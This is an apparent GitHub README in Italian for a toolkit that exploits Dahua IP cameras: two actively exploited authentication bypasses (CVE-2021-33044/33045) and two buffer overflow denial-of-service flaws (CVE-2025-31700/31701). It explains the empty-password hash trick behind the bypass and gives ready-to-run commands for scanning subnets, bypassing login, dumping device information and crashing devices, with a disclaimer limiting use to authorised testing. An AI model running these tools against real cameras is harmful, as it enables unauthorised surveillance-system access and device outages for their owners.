
Kit di ricerca sulle vulnerabilità CVE per telecamere IP Dahua (CVE-2021-33044/33045, CVE-2025-31700/31701)
⚠️ IN SVILUPPO — Questi script si basano sui dettagli CVE pubblicati e richiedono ulteriori test su dispositivi vulnerabili per confermare la piena funzionalità.
Script di ricerca e proof-of-concept per quattro vulnerabilità critiche delle telecamere IP Dahua.
QUESTO SOFTWARE È FORNITO ESCLUSIVAMENTE PER SCOPI DIDATTICI E DI TEST DI SICUREZZA AUTORIZZATI.
Utilizzando questi strumenti, accetti che:
1. Hai l'AUTORIZZAZIONE SCRITTA ESPLICITA per testare i sistemi target
2. NON utilizzerai questi strumenti per attività illegali
3. Accetti la piena responsabilità per le tue azioni
4. Gli autori NON sono responsabili per eventuali abusi o danni
L'accesso non autorizzato ai sistemi informatici è un REATO PENALE nella maggior parte delle giurisdizioni.
| CVE | CVSS | Tipo | Stato |
|---|---|---|---|
| CVE-2021-33044 | 9.8 CRITICAL | Bypass Autenticazione | CISA KEV (attivamente sfruttato) |
| CVE-2021-33045 | 9.8 CRITICAL | Bypass Autenticazione | CISA KEV (attivamente sfruttato) |
| CVE-2025-31700 | 8.1 HIGH | Buffer Overflow DoS | Rec (2025) |
| CVE-2025-31701 | 8.1 HIGH | Buffer Overflow DoS | Rec (2025) |
Le telecamere Dahua utilizzano l'autenticazione challenge-response su /RPC2_Login:
Normal Login:
step1 = MD5("admin:realm:PASSWORD")
step2 = MD5("step1:random:step1")
Bypass (CVE-2021-33044/45):
step1 = MD5("admin:realm:") ← EMPTY password
step2 = MD5("step1:random:step1")
Il firmware vulnerabile accetta l'hash di password vuota e restituisce un token di sessione valido.
# Clone repository
git clone https://github.com/umair-aziz025/Dahua_IP_Camera_CVE_Exploit.git
cd Dahua_IP_Camera_CVE_Exploit
# Install dependencies
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py 192.168.1.0/24 -p 80 8080 8081
# Single host with port
python dahua_scanner.py 192.168.1.100:8081
# Full options
python dahua_scanner.py 192.168.1.0/24 -p 80 8080 -w 100 -t 10 -v -o results.json
# Show help
python dahua_scanner.py --help
Porte Dahua comuni: 80, 8000, 8080, 8081, 8888, 9000, 443, 37777
python dahua_exploit.py 192.168.1.100 -p 8081
python dahua_exploit.py 192.168.1.100 -c 2021-33044 # Single CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py 192.168.1.100 -p 8081
python dahua_auth_bypass.py 192.168.1.100 --dump # Dump device info after bypass
python dahua_rce.py 192.168.1.100 -p 8081
python dahua_rce.py 192.168.1.100 --cve http # HTTP only
python dahua_rce.py 192.168.1.100 --cve tcp # TCP/37777 only
⚠️ AVVISO: Lo script DoS potrebbe causare il crash del dispositivo target.
requests
Tutti gli altri import provengono dalla libreria standard Python:
socket, struct, hashlib, threading, ipaddress, argparse, json
🚧 IN SVILUPPO ATTIVO
Questi script sono stati sviluppati basandosi su:
Stato dei Test:
Se hai accesso a dispositivi vulnerabili per test, contributi e feedback sono benvenuti.
Segnala eventuali problemi o falsi positivi.
Licenza MIT - Vedi il file LICENSE.
Umair Aziz
GitHub: @umair-aziz025
Solo per scopi didattici e di ricerca sulla sicurezza autorizzata.
| File | Scopo | CVE |
|---|
dahua_scanner.py | Scoperta di rete — trova telecamere Dahua sulla sottorete | Rilevamento |
dahua_exploit.py | Scanner multi-CVE — testa tutte le vulnerabilità | Tutte |
dahua_auth_bypass.py | Bypass autenticazione dedicato con opzione --dump | CVE-2021-33044/45 |
dahua_rce.py | Probe buffer overflow DoS | CVE-2025-31700/01 |